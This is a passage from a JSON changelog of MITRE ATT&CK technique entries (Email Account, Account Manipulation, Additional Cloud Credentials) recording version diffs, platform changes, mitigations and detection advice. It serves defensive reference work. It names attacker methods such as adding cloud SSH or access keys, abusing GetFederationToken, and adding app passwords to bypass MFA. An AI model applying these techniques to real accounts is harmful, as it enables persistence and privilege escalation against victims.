"Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:51:18.808000+00:00\", \"old_value\": \"2021-03-16 12:54:41.133000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"Office Suite\", \"root['x_mitre_platforms'][3]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:08:33.237000+00:00", + "modified": "2024-10-17 20:35:35.125000+00:00", + "name": "Email Account", + "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087/003", + "external_id": "T1087.003" + }, + { + "source_name": "Black Hills Attacking Exchange MailSniper, 2016", + "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + }, + { + "source_name": "Google Workspace Global Access List", + "description": "Google. (n.d.). Retrieved March 16, 2021.", + "url": "https://support.google.com/a/answer/166870?hl=en" + }, + { + "source_name": "Microsoft Exchange Address Lists", + "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.", + "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019" + }, + { + "source_name": "Microsoft getglobaladdresslist", + "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 20:35:35.125000+00:00\", \"old_value\": \"2021-03-31 13:10:46.302000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\\n\\nIn on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\\n\\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)\", \"old_value\": \"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\\n\\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\\n\\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\\n \\n-In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\\n+In on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\\n \\n In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][2]\": \"Google Workspace\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to get a listing of email addresses t1Adversaries may attempt to get a listing of email addresses 
>and accounts. Adversaries may try to dump Exchange address l>and accounts. Adversaries may try to dump Exchange address l
>ists such as global address lists (GALs).(Citation: Microsof>ists such as global address lists (GALs).(Citation: Microsof
>t Exchange Address Lists)  In on-premises Exchange and Excha>t Exchange Address Lists)  In on-premises Exchange and Excha
>nge Online, the<code>Get-GlobalAddressList</code> PowerShell>nge Online, the <code>Get-GlobalAddressList</code> PowerShel
> cmdlet can be used to obtain email addresses and accounts f>l cmdlet can be used to obtain email addresses and accounts 
>rom a domain using an authenticated session.(Citation: Micro>from a domain using an authenticated session.(Citation: Micr
>soft getglobaladdresslist)(Citation: Black Hills Attacking E>osoft getglobaladdresslist)(Citation: Black Hills Attacking 
>xchange MailSniper, 2016)  In Google Workspace, the GAL is s>Exchange MailSniper, 2016)  In Google Workspace, the GAL is 
>hared with Microsoft Outlook users through the Google Worksp>shared with Microsoft Outlook users through the Google Works
>ace Sync for Microsoft Outlook (GWSMO) service. Additionally>pace Sync for Microsoft Outlook (GWSMO) service. Additionall
>, the Google Workspace Directory allows for users to get a l>y, the Google Workspace Directory allows for users to get a 
>isting of other users within the organization.(Citation: Goo>listing of other users within the organization.(Citation: Go
>gle Workspace Global Access List)>ogle Workspace Global Access List)
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:12.196000+00:00", + "modified": "2024-10-15 15:35:57.382000+00:00", + "name": "Account Manipulation", + "description": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098", + "external_id": "T1098" + }, + { + "source_name": "FireEye SMOKEDHAM June 2021", + "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html" + }, + { + "source_name": "Microsoft Security Event 4670", + "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.", + "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670" + }, + { + "source_name": "Microsoft User Modified Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "source_name": "GitHub Mimikatz Issue 92 June 2017", + "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/issues/92" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Praetorian", + "Tim MalcomVetter", + "Wojciech Lesicki", + "Arad Inbar, Fidelis Security" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Active Directory: Active Directory Object Modification", + "File: File Modification", + "Group: Group Modification", + "User Account: User Account Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "SaaS", + "Network", + "Containers", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:35:57.382000+00:00\", \"old_value\": \"2024-01-16 22:24:38.234000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.7\", \"old_value\": \"2.6\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][7]\": \"Office Suite\", \"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][6]\": \"Google Workspace\"}}", + "previous_version": "2.6", + "version_change": "2.6 \u2192 2.7", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [ + "M1022: Restrict File and Directory Permissions", + "M1042: Disable or Remove Feature or Program" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0026: Active Directory (Active Directory Object Modification)", + "DS0036: Group (Group Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-19 16:10:15.008000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Additional Cloud Credentials", + "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/001", + "external_id": "T1098.001" + }, + { + "source_name": "Crowdstrike AWS User Federation Persistence", + "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.", + "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/" + }, + { + "source_name": "Expel IO Evil in AWS", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "url": "https://expel.io/blog/finding-evil-in-aws/" + }, + { + "source_name": "SpecterOps Azure Privilege Escalation", + "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.", + "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5" + }, + { + "source_name": "Demystifying Azure AD Service Principals", + "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.", + "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/" + }, + { + "source_name": "Lacework AI Resource Hijacking 2024", + "description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.", + "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts" + }, + { + "source_name": "GCP SSH Key Add", + "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add" + }, + { + "source_name": "Permiso Scattered Spider 2023", + "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.", + "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud" + }, + { + "source_name": "Blue Cloud of Death Video", + "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.", + "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815" + }, + { + "source_name": "Blue Cloud of Death", + "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.", + "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1" + }, + { + "source_name": "Microsoft Entra ID App Passwords", + "description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.", + "url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords" + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Mandiant APT42 Operations 2024", + "description": "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations" + }, + { + "source_name": "Expel Behind the Scenes", + "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.", + "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/" + }, + { + "source_name": "Sysdig ScarletEel 2.0", + "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.", + "url": "https://sysdig.com/blog/scarleteel-2-0/" + }, + { + "source_name": "Rhino Security Labs AWS Privilege Escalation", + "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", + "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Expel", + "Oleg Kolesnikov, Securonix", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Zur Ulianitzky, XM Cyber", + "Alex Soler, AttackIQ", + "Dylan Silva, AWS Security", + "Arad Inbar, Fidelis Security", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "User Account: User Account Modification", + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Identity Provider" + ], + "x_mitre_version": "2.8", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-02-28 14:35:00.862000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\\n\\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n\\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\\n\\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n\\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.\\n(Citation: Crowdstrike AWS User Federation Persistence)\\n\\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\", \"old_value\": \"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\\n\\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n\\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\\n\\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n\\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.\\n(Citation: Crowdstrike AWS User Federation Persistence)\", \"diff\": \"--- \\n+++ \\n@@ -1,10 +1,12 @@\\n Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\\n \\n-For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n+For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n \\n In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\\n \\n-Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n+Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege 